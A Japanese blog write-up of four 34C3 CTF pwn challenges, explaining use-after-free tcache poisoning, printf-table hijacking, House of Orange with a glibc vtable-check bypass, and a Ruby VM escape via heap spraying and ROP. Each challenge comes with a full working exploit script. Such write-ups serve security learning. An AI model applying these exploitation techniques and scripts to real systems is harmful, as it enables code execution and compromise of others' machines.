るくすの日記 ~ Out_Of_Range ~

主にプログラミング関係

34c3 CTF Write up

この記事は CTF Advent Calendar 20日目になる予定だった記事です。
大遅刻すみません。
少し前に34c3 CTFの過去問を解いたのでそれのwrite upでも。
いや数日前にあった35c3 CTFじゃねーのかよと突っ込まれそうですが...12/20に去年の過去問を終わらせて気持ちよく35c3に出るつもりが、

研究でわけのわからない命令を発行しすぎてなぜかメモリバスエラーが頻出するようになりラップトップ崩壊、泣く泣く新しい物を購入して今に至ります。 タイミングが悪すぎる。

というわけで過去問解いたログだけでも供養しておきます。元々1,2問程度解くだけのつもりでしたがどうせ遅刻するならもっと解いておこうという事でpwnの4/5問文の雑なwrite up。 あと1問のpwndb reloadedは未だに1チームしか解けてないマゾゲーなので今は断念。V9は近いうちに解くつもり。

SimpleGC (107 pt)

概要

ユーザーとそのユーザーが所属するグループを管理するプログラム。
ユーザーを追加する際、所属するグループを指定する。該当グループが既に存在すればポインタを張る。
無ければ新たにグループを作成して同様にポインタを張る。

0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 
struct user{
    int age;
    char *name;
    char *group_key;
};

struct group{
    char *group_key;
    int member;
};

また別スレッドでGC(Garbage Collection)が動作しており、定期的にグループリストを走査、memberが0になったつまり誰も所属していないグループは削除するようになっている。
グループのmemberは所属するユーザーを4. DeleteUser()で削除した際にデクリメントされるようになっている。これはユーザーのgroup_keyに一致するグループ全てのmemberをデクリメントする。
3のEditGroup()でグループ名(group_key)を別名に変更できるが、文字列に対するバリデーションは特に無い。
これら2点を悪用すると、
それぞれ"group_A"と"group_B"に所属するユーザーAとBを作成。
A -> "group_A"
B -> "group_B"
EditGroup()で"group_B"を"group_A"という同じ名前に変更し、ユーザーAを削除すると
A -> "group_A" (member--)
B -> "group_A" (member--)
memberが0になりGCによって両方共グループがfreeされる。一方でユーザーBは削除されていないため
B -> "group_A" (freed)
と、ヒープに対するダングリングポインタが出来る。このユーザーBを使用すればUse After Freeが発生する。
残念ながらヒープ上にvtable等の関数ポインタが存在しないので、ヒープエクスプロイトテクニックを考えるのが良さそう。

Tcache Attack

今回はmallocのサイズが比較的小さいためチャンクは全てtcache + fastbinsで管理されている。
3のEditGroup()によってfree済みのチャンクgroup_keyを書き換える事でfreeチャンクのfdを書き換えできる。
fdを任意のアドレスに書き換えて、その後mallocを実行させていくと該当アドレスの領域を使ってくれる。これにより任意のアドレスにポインタを通してアクセス可能になる。

freeチャンクのfd書き換えはfastbinsの場合malloc(2)時にセキュリティチェックが走り、abortしてしまう。
ところがtcacheを使う場合はこの限りではない。 tcacheは7スロットしかチャンクをキャッシュできず足りなくなった場合は通常通りfastbinsを使用する。
tcacheが足りずfastbinsを使用し始めた状況をpwndbgで確認すると以下のようになる。

pwndbg> bins
tcachebins
0x20 [  5]: 0x1db85c0 —▸ 0x1db8540 —▸ 0x1db84c0 —▸ 0x1db8440 —▸ 0x1db83c0 ◂— ...
fastbins
0x20: 0x1db8610 —▸ 0x1db85f0 —▸ 0x1db8590 —▸ 0x1db8570 —▸ 0x1db8510 ◂— ...
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

さて、この後mallocを発行してtcacheに空きが出来るとどうなるかと言うとfastbinsからtcacheに移動させて、次回のmallocに備えるようになる。
問題はこの移動の処理が発生した場合fastbinsのセキュリティチェックが走らない事だ。

3585 #if USE_TCACHE
3586           /* While we're here, if we see other chunks of the same size,
3587              stash them in the tcache.  */
3588           size_t tc_idx = csize2tidx (nb);
3589           if (tcache && tc_idx < mp_.tcache_bins)
3590             {
3591               mchunkptr tc_victim;
3592 
3593               /* While bin not empty and tcache not full, copy chunks over.  */
3594               while (tcache->counts[tc_idx] < mp_.tcache_count
3595                      && (pp = *fb) != NULL)
3596                 {
3597                   REMOVE_FB (fb, tc_victim, pp);
3598                   if (tc_victim != 0)
3599                     {
3600                       tcache_put (tc_victim, tc_idx);
3601                     }
3602                 }
3603             }
3604 #endif

つまりチャンクのfdを改竄しても、fastbinsから直接取得するのではなくtcacheを一旦通せばすんなりmallocできてしまう。
ただし今回注意しなければならないのはスレッドがメイン(以下T1)とGC用(以下T2)の2つあり、arenaとtcacheが2つあるという事。
mallocするのはメインスレッド側でfreeするのはGC側なので、それぞれアクセスするtcacheが違う。
ダングリングポインタによって汚染するチャンクはT2のtcacheにあるため、T1側でmallocしても汚染チャンクを取得させる事ができない。

基本的には
"あるスレッドでmallocした領域を、別のスレッドでfreeしても該当チャンクはmallocした側のスレッドのfreeリストに繋がれる"が成り立つ。なぜならfreeされるアドレスとarenaのアドレスにはarena == (1M align of free addr)という関係が成り立つからだ。
つまりT1でmallocしたアドレスをどのスレッドでfreeした場合でも、arenaのアドレスはT1の物に計算される。

以下スライド(74p)参照

www.slideshare.net

しかしながらtcacheだけは上記の例外でT1でmallocしてもT2でfreeすればT2側のarenaのtcacheに保存される。

よってエクスプロイトは以下のような手順になる。
1. T2側でfreeを7回以上行ってtcacheを使い切る。
2. fastbinsに溢れたチャンクのfdをdangling pointerで改竄(fastbinsはT1とT2で共通)
3. T1側でmallocを数回行いtcacheを枯渇させ改ざんしたfastbinsをtcacheに載せる

これでT1上でfake chunkでmallocが可能となる。今回はこれをuser[0]のアドレスに改竄。
group_key = malloc()を実行させるとgroup_key == &user[0]となり、後はgroup_keyを通して
user[0]を改竄する。

pwndbg> x/10xg $users
0x6020e0:       0x0068732f6e69622f      0x00000000006020e0 <-- "/bin/sh\0" ; user[0]
0x6020f0:       0x0000000000602018      0x0000000000000000 <-- free@GOT 

この後user[0]->group_keyをEditGroup()でsystemのアドレスに書き換えると、free@GOTがsystemのアドレスに書き換わる。
その後DeleteUser(0)でfree(user[0]->name)が実行されsystem("/bin/sh")でシェルが取れる。

ヒープのアドレスはfreeチャンクのfdをリークさせる事で計算できる。
libcのアドレスはfreeチャンクが1つのみの際、fdがarena内のメンバを指しているためこの値から計算できる。

Exploit

from pwn import *

if len(sys.argv) <= 1:
   io = process('./sgc')
else:
   # io = remote('', )
   exit(0)

def add_user(name, group, age):
   io.recvuntil("Action:")
   io.sendline("0")
   io.recvuntil("name:")   
   io.sendline(name)
   io.recvuntil("group:")      
   io.sendline(group)
   io.recvuntil("age:")         
   io.sendline(str(age))

def disp_group(group):
   io.recvuntil("Action:")   
   io.sendline("1")
   io.recvuntil("name:")      
   io.sendline(group)

def disp_user(idx):
   io.recvuntil("Action:")
   io.sendline("2")
   io.recvuntil("index:")   
   io.sendline(str(idx))
   return io.recvuntil("0:")

def edit_group(idx, prop, group):
   io.recvuntil("Action:")   
   io.sendline("3")
   io.recvuntil("index:")      
   io.sendline(str(idx))
   io.recvuntil("(y/n):")   
   io.sendline(prop)
   io.recvuntil("name:")      
   io.sendline(group)

def del_user(idx):
   io.recvuntil("Action:")   
   io.sendline("4")
   io.recvuntil("index:")
   io.sendline(str(idx))

user_ptr = 0x6020e0
free_got_ptr = 0x602018

# For filling 7 slots of tcache
for i in range(4):
	add_user("dummy", str(i), 0)

# Create 2 users which'll be placed in fastbins
add_user("innocent", "normal", 0)
add_user("exp", "expg", 0)

# Same group name "expg"
edit_group(4, "y", "expg")

# Free all group (idx 5 dangling ptr)
for i in range(5):
   del_user(i)
sleep(1)

raw_input()
heap_base = u32(disp_user(5)[26:29].ljust(4,'\0'))-0x590
print "heap_base = " + hex(heap_base)

edit_group(5, "y", p64(user_ptr-0x10))

# Same group name "expg"
edit_group(5, "n", "pad1")
edit_group(5, "n", "pad2")
edit_group(5, "n", "pad3")

# age name group
payload  = "/bin/sh\0" + p64(user_ptr) + p64(free_got_ptr)
edit_group(5,"n",payload)

libc_base = u64(disp_user(1)[30:36].ljust(8,'\0')) - 0x97950
system = libc_base+0x4f440
print "libc_base= " + hex(libc_base)
print "system= " + hex(system)

edit_group(1,"y",p64(system))

del_user(1) 
    
io.interactive()
#raw_input()

readme_revenge (150 pt)

概要

static linkされたバイナリでグローバル変数のバッファに文字を入力(scanf)し出力(printf)するだけ。しかし入力文字数に制限を書けていないのでバッファオーバーフローする。
グローバル変数(0x006b73e0)より下に何があるか調査してみると、

$ nm --numeric-sort ./readme_revenge
00000000006b7978 B __libc_argc
00000000006b7980 B __libc_argv
00000000006b7988 B __gconv_modules_db
00000000006b7990 B __gconv_lock
00000000006b7998 B __gconv_alias_db
00000000006b79a0 B __gconv_path_envvar
00000000006b79a8 B __gconv_max_path_elem_len
00000000006b79b0 B __gconv_path_elem
00000000006b79c0 B _nl_locale_file_list
00000000006b7a28 B __printf_function_table
00000000006b7a30 B __printf_modifier_table
00000000006b7a38 B __tzname_cur_max

__libc_argvがあり、かつ既にバイナリ内にフラグが埋め込まれているためargv[0] leakでフラグは表示できそうだ。

$ strings -tx ./readme_revenge | grep 34C3
  b4040 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

若干エスパー要素が強い気がするが、argv[0] leakの可能性を考慮する時は反射的にstrings -txしてみる癖とか付けておいたほうが良いのか。
さて、今回の難点は__libc_argvをフラグのアドレスに書き換えてもスタック破壊が起きないのでfortify_failが呼ばれない点だ。

しかしどうやら、printfの実装を調査すると一定条件下で__printf_arginfo_tableを実行してくれる処理があるらしい。

	  if (__builtin_expect (__printf_function_table == NULL, 1)
	      || spec->info.spec > UCHAR_MAX
	      || __printf_arginfo_table[spec->info.spec] == NULL
	      /* We don't try to get the types for all arguments if the format
	         uses more than one.  The normal case is covered though.  If
	         the call returns -1 we continue with the normal specifiers.  */
	      || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
	                                   (&spec->info, 1, &spec->data_arg_type,
	                                    &spec->size)) < 0)
	    {

if文の条件は__printf_function_table != NULLで__printf_arginfo_tableを調整すれば任意のアドレスをcallできる。
これでfortify_failを呼べば良い。

Exploit

from pwn import *
import sys

if len(sys.argv) <= 1:
   io = process('./readme_revenge')    
else:
   #io = remote('')
   exit(0)

def pad(length):
   return "\x00" * length

name_addr = 0x6b73e0
libc_argv = 0x6b7980
call_fortify = 0x43599b
flag_addr = 0x6b4040
printf_func = 0x6b7a28
printf_arg = 0x6b7aa8

payload = p64(flag_addr)
payload += pad(ord("s") * 8 - len(payload)) # %s offset
payload += p64(call_fortify)
payload += pad(libc_argv - name_addr - len(payload))
payload += p64(name_addr) # **_libc_argv
payload += pad(printf_func - name_addr - len(payload))
payload += p64(0x1) #__printf_function_table
payload += pad(printf_arg - name_addr - len(payload))
payload += p64(name_addr) # __printf_arginfo_table

io.sendline(payload)

io.interactive()

300 (264 pt)

概要

0x300バイト単位のスロットを確保/解放/読み書きできるプログラム。

1) alloc
2) write
3) print
4) free
slots[slot] = malloc(0x300);
read(0, slotss[slot], 0x300);
write(1, slots[slot], strlen(slot));
free(slots[slot]);

あるスロットに対してfreeした後read/writeが可能なのでUAF(Use After Free)が出来る。

House of Orange

libc2.24で動作するためtcacheはない。
0x300バイトのfreeチャンクはfastbinsではなくunsorted binsかsmall binsに繋がれる。
無論ヒープ上にvtableのような関数ポインタもなく、またSimpleGCの時のようにヒープ上のポインタ(key_slot)を通した読み書きもできない。
つまりこのバイナリ独自のロジックの中でPC制御やAAR/Wに応用できる要素はほぼ無い。
こういった状況で考えられるのはFile Stream Pointer Attackのように
glibcの持っている関数ポインタ(FILE vtalbe)を書き換える事でPCを制御する方法である。

ではAAWはどうするか。実はunsorted binに繋がれたfreeチャンクを利用するとunsorted bin attackによって任意のアドレスに対して限定的な値を書き込む事が出来る。
これはmalloc時、unsorted binからfreeチャンクを取得する場合にunlinkのセキュリティチェックが動かない事を利用したunlink attackで、

for (;; )
3504     {
3505       int iters = 0;
3506       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
3507         {
3508           bck = victim->bk;
...
3513           size = chunksize (victim);
... 
3551           /* remove from unsorted list */
3552           unsorted_chunks (av)->bk = bck;
3553           bck->fd = unsorted_chunks (av);
3554 

unsorted bin上でfake chunkを作り、上記のbck->fdを任意のアドレスに設定すると
bck->fd = unsorted_chunks (av);
により、該当アドレスに対してunsorted_chunks (av)が代入される。
unsorted_chunks (av)は、チャンクが1つしか存在しない場合arena内のメンバのアドレスになる。

これを利用して__IO_list_allというglibc内のFILEポインタリストにunsorted_chunks (av)を設定し、
_IO_flush_all_lockpが呼ばれるタイミングで__IO_list_all->_chain(これはunsorted_chunks (av)+0x68 == smallbins[4]->bk)
にfakeのFILE構造体を設定、vtable->__overflowを改ざんする事で任意アドレス実行を促す事ができる。
いわゆるHouse of Orangeが使用できる。
Understanding the house of orange [study] | 1ce0ear

ただしこの問題はglibc2.24を使用しており、FILE streaming pointer attackの対策が施されている。これはvtableの関数ポインタが
正規の__libc_IO_vtablesセクション内にある関数のみを指しているかチェックする機能で、つまり従来のHouse of Orangeのように
vtable->overflowをsystem関数などの正規のセクション外のアドレスに書き換えるとabortしてしまうというものだ。

しかし実はセクション内の関数を利用してもHouse of Orangeを行う事もできる。例えば_IO_wstr_finishは__libc_IO_vtablesセクション内に
存在する正規の関数であるが、

325 void
326 _IO_wstr_finish (_IO_FILE *fp, int dummy)
327 {
328   if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
329     (((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);

fakeのFILE構造体から_free_bufferと_IO_buf_baseの値を設定すればsystem("/bin/sh")を呼ぶことができる。
つまりいきなりsystem関数を呼ぶのではなく、一旦正規の関数への呼び出しを挟む事でvtableチェックはバイパスできる。

Exploit

from pwn import *
import sys
#stack 0x5c
DEBUG=0
if len(sys.argv) <= 1:
   io = process('./300')
   SYSTEM = 0x45390
   IO_LIST_ALL = 0x3c5520
   IO_WSTR_FINISH = 0x3c3030
   if DEBUG == 1:
      gdb.attach(io, 'b *main\n')
else:
   # io = remote('', )
   pass

def alloc(idx):
   io.sendafter("4) free\n", "1")
   io.recvline()
   io.sendline(str(idx))

def free(idx):
   io.sendafter("4) free\n", "4")
   io.recvline()   
   io.sendline(str(idx))

def write(idx, val):
   io.sendafter("4) free\n", "2")
   io.recvline()      
   io.sendline(str(idx))
   io.send(val)
   
def read(idx):
   io.sendafter("4) free\n", "3")
   io.recvline()      
   io.sendline(str(idx))
   return io.recvline()

alloc(0)
alloc(1)
alloc(2)
alloc(3)
alloc(4)
free(1)

libc_fwdptr = u64(read(1).split('\n')[0].ljust(8, '\x00'))
libc_base = libc_fwdptr - 0x3c4b78
system = libc_base + SYSTEM
io_list_all = libc_base + IO_LIST_ALL
io_wstr_finish = libc_base + IO_WSTR_FINISH
print "libc_base=" + hex(libc_base)
print "IO_wstr_finish=" + hex(io_wstr_finish)

free(3)
fake_chunk = u64(read(3).split('\n')[0].ljust(8, '\x00'))
print "fake_chunk=" + hex(fake_chunk)

free(0)
free(2)
free(4)

alloc(0)
alloc(1) # fake_chunk(1)
free(0)

write(0, fit({8:p64(fake_chunk+0x10)})) # fake_chunk(1) <- 0
alloc(3) # fake_chunk(1) (Remove 0)

write(1, fit({
   0:'/bin/sh\x00',
   8:p64(0x61),
   24:p64(fake_chunk + 0x30),
   ## fake chunk 0x310 size
   40:p64(0x311),
   ## fake chunk 0x310 bk -> hijacks _IO_list_all
   56:p64(io_list_all - 0x10),
   ## satisfy _IO_flush_all_lockp conditions on 2nd iteration
   32:p64(0),  # fp->_chain->_mode
   192:p64(0), # fp->_chain->_IO_write_base
   ## make it jump to _IO_wstr_finish
   216:p64(io_wstr_finish-0x18), # fp->_chain->vtable
   ## fake _wide_data
   128: p64(fake_chunk + 0x98), 
   176: p64(fake_chunk + 0x10), # _wide_data->_IO_buf_base "/bin/sh"
   ## satisfy condition of _IO_wstr_finish
   160:p64(fake_chunk + 0x90), # fp->_chain->_wide_data
   232:p64(system),}))

alloc(3)
raw_input()

io.sendafter("4) free\n", "5")
io.recvline()      
io.sendline("999")

io.interactive()

LFA (400 pt)

概要

Rubyのコードを送ると実行してくれるサーバーがある。
しかしRubyVMにはseccompによるsandboxを実装した独自パッチが適用されており、Ruby上でflagを読み込んだりコマンドを実行する事は不可能になっている。
つまりRubyVM escapeを行ってフラグを読み出せという物。
サーバー上のRubyではCエクステンションによって実装されたLFAという可変長配列が使えるがこのCエクステンションの脆弱性を利用してVM escapeする。

CエクステンションであるLFA.soをリバーシングすると、例えば以下のようなRubyのコードが実行されると

require 'LFA'
$arr = LFA.new
$arr[0] = 11
$arr[4] = 11
$arr[15000] = 11

LFAは内部でmallocのbinsのようなデータ構造を2つ生成してリンクする。
bins[0] -> bins[15000]
各binsは決められた数のチャンクを持っておりbins->start_idxから始まる一定個数の要素を格納している。
例えばarr[4]はbins[0]のチャンク内に格納されているが、arr[15000]はbins[0]には入り切らないため、
新たにstart_idx = 15000のbinsを生成しそこに格納する。
つまりなるべく近い添字の要素をひとまとめにして、離散的に管理している。

さて、問題の脆弱性はarr.removeを実行した時に発生する。LFAは要素数が1チャンク以下になった時、キャッシュ用に確保しておいた固定長の配列内にチャンクを移して
リストで管理する事をやめる。この処理が発生した時のみ、LFAの要素数を表すメンバを更新していないという脆弱性である。
つまり

require 'LFA'

$ooa_size=0x8000000
$arr[$ooa_size] = 0xdead
$arr.remove $ooa_size

puts $arr[0x7000000] #OOR
$arr[0x7000000]=0xbeef #OOW

一旦$arr[$ooa_size]でサイズを$ooa_sizeにした状態で残り1チャンクを削除すると、
サイズは変わらず、実際はキャッシュ用の固定長配列にアクセスしようとする。
このキャッシュ配列へのアクセスは$ooa_sizeまで行えるためOOR/Wが発生する。

Heap Fengshui

さて、Ruby上で巨大なヒープに対するOOR/Wが行えるとなれば次はどうするか。
この手のヒープが自由に読み書きできるエクスプロイトではHeap Fengshuiというテクニックが利用しやすい。
1年ほど前のプレゼン資料参照。
speakerdeck.com

StringやArrayといった内部的にポインタを持っているデータ構造をヒープ上に確保して、内部ポインタを書き換える事で
任意のアドレスに読み書きが行えるようになるというもの。
今回はRubyのString(内部的にはRString)とArray(RArray)を悪用する。

struct RBasic {
    VALUE flags;
    const VALUE klass;
}
struct RString {
    struct RBasic basic;
    union {
	struct {
	    long len;
	    char *ptr;
	    union {
		long capa;
		VALUE shared;
	    } aux;
	} heap;
	char ary[RSTRING_EMBED_LEN_MAX + 1];
    } as;
};
struct RArray {
    struct RBasic basic;
    union {
	struct {
	    long len;
	    union {
		long capa;
		VALUE shared;
	    } aux;
	    const VALUE *ptr;
	} heap;
	const VALUE ary[RARRAY_EMBED_LEN_MAX];
    } as;
};

エクスプロイトの手順は
1. RString/RArrayをヒープ上に大量に確保(スプレー)
2. LFA.arrを使ってヒープ上を検索しRString/RArrayをそれぞれ1つずつ探し出す(検索のシグネチャにはRBasic.flags, .lenの値を使用)
3. RString.ptrを書き換えStringとして読み込むことでAAR
4. RArray.ptrを書き換えArray[0]に書き込むことでAAW
5. LFA.arr(RTypedData)のtypeの値をリーク(これはLFA.so内のグローバル変数を参照)
6. リークさせたグローバル変数のアドレスからLFA.so内の__cxa_finalizeのGOTアドレスを計算
7. GOTのアドレスからlibcのベースアドレスを計算 (5. ~ 7. は ASLR+PIE bypassに必要)
8. glibc.__libc_argvから&argv[0]の値をリーク、main関数のret addrを載せているスタックのアドレスを計算
9. main関数からROPでflagを読み込む (ROPを行う理由はFull RELRO bypassのため)

struct RTypedData {
    struct RBasic basic;
    const rb_data_type_t *type;
    VALUE typed_flag; /* 1 or not */
    void *data;
};

Exploit

require 'LFA'
GC.disable

$CXA_FINALIZE = 0x43520
$LIBC_ARGV = 0x3f04c0

$ooa_size=0x8000000

$heap_str_idx = 0
$heap_arr_idx = 0

$ooa_str = 0
$ooa_array = 0

$old_str_ptr_l = 0
$old_str_ptr_h = 0
$old_array_ptr_l = 0
$old_array_ptr_h = 0

$arr = LFA.new
$arr_addr = $arr.__id__ * 2
$arr[$ooa_size] = 0xdead
$arr.remove $ooa_size

$shui = Array.new(0x1000)

def AARead(addr)
  $low = addr & 0xffffffff
  if ($low & 0x80000000) != 0
    $low = -((1<<32) - $low)
  end
  # RString->ptr  
  $arr[$heap_str_idx + 6] = $low 
  $arr[$heap_str_idx + 7] = (addr >> 32) & 0xffffffff
  val = $ooa_str[0, 8].unpack("Q*")[0]
  $arr[$heap_str_idx + 6] = $old_str_ptr_l
  $arr[$heap_str_idx + 7] = $old_str_ptr_h
  return val
end

def AAWrite(addr, val)
  val = (val - 1) / 2 # RArray []= method
  $low = addr & 0xffffffff
  if ($low & 0x80000000) != 0
    $low = -((1<<32) - $low)
  end
  # RString->ptr  
  $arr[$heap_arr_idx + 8] = $low 
  $arr[$heap_arr_idx + 9] = (addr >> 32) & 0xffffffff
  $ooa_array[0] = val
  $arr[$heap_str_idx + 8] = $old_array_ptr_l
  $arr[$heap_str_idx + 9] = $old_array_ptr_h
end

i = 0
while i < $shui.length do
    $shui[i] = String.new('A' * 0x50)
    $shui[i + 1] = Array.new(0x50)
    i += 2
end

i = 0

# Search Rstring
while i < $ooa_size do
  if $arr[i] == 0x506005 and $arr[i + 1] == 0 and $arr[i + 4] == 0x50 and $arr[i + 5] == 0x0
    $arr[i + 4] = 0x80
    $heap_str_idx = i
    puts 'RString offset = ' + $heap_str_idx.to_s()
    $old_str_ptr_l = $arr[i + 6]
    $old_str_ptr_h = $arr[i + 7]    
    break
  end
  i += 1  
end
i = 0
while i < $shui.length do
  if $shui[i].length == 0x80
    $ooa_str = $shui[i]
    break
  end
  i += 1
end

# Search RArray
while i < $ooa_size do
  if $arr[i] == 0x7 and $arr[i + 1] == 0 and $arr[i + 4] == 0x50 and $arr[i + 5] == 0x0
    $arr[i + 4] = 0x90
    $heap_arr_idx = i
    puts 'RArray offset = ' + $heap_arr_idx.to_s()
    $old_array_ptr_l = $arr[i + 8]
    $old_array_ptr_h = $arr[i + 9]        
    break
  end
  i += 1  
end
i = 0
while i < $shui.length do
  if $shui[i].length == 0x90
    $ooa_array = $shui[i]
    break
  end
  i += 1
end

puts "arr addr = 0x" + $arr_addr.to_s(16)
$ooa_array_addr = $ooa_array.__id__ * 2
puts "ooa_array_addr: 0x" + $ooa_array_addr.to_s(16)

# LFA(RTypedObject)->type
$lfa_type_addr = AARead($arr_addr + 0x10)

# GOT of __cxa_finalize
$libc_finalize_addr = AARead($lfa_type_addr + 0x238)
$libc_base = $libc_finalize_addr - $CXA_FINALIZE
$libc_argv = $libc_base + $LIBC_ARGV
puts '__cxa_finalize: 0x' + $libc_finalize_addr.to_s(16)
puts 'libc base: 0x' + $libc_base.to_s(16)
puts 'libc_argv[addr]: 0x' + $libc_argv.to_s(16)

# Stack address (main ret)
$argv0_stack = AARead($libc_argv)
$main_ret = $argv0_stack - 0xe0
puts 'main_ret: 0x' + $main_ret.to_s(16)

# Do ROP
pop_rax = $libc_base + 0x439c7
xor_rax = $libc_base + 0xb17c5
pop_rdi = $libc_base + 0x2155f
pop_rsi = $libc_base + 0x2ffa7
pop_rdx_rbx = $libc_base + 0x16643b
syscall_ret = $libc_base + 0xd2975

rop =  [xor_rax, pop_rdi, 1023, pop_rsi, $main_ret, pop_rdx_rbx, 0x21, 0xdead, syscall_ret]
# # read(1023, buf,0x20)
rop += [pop_rax, 1, pop_rdi, 1, pop_rsi, $main_ret, pop_rdx_rbx, 0x21, 0xdead, syscall_ret]
# write(1, buf,0x20)

i = 0
while i < rop.length do
  AAWrite($main_ret + i * 8, rop[i])
  i += 1
end

#gets

おわりに

急いで書いたので雑な説明かも。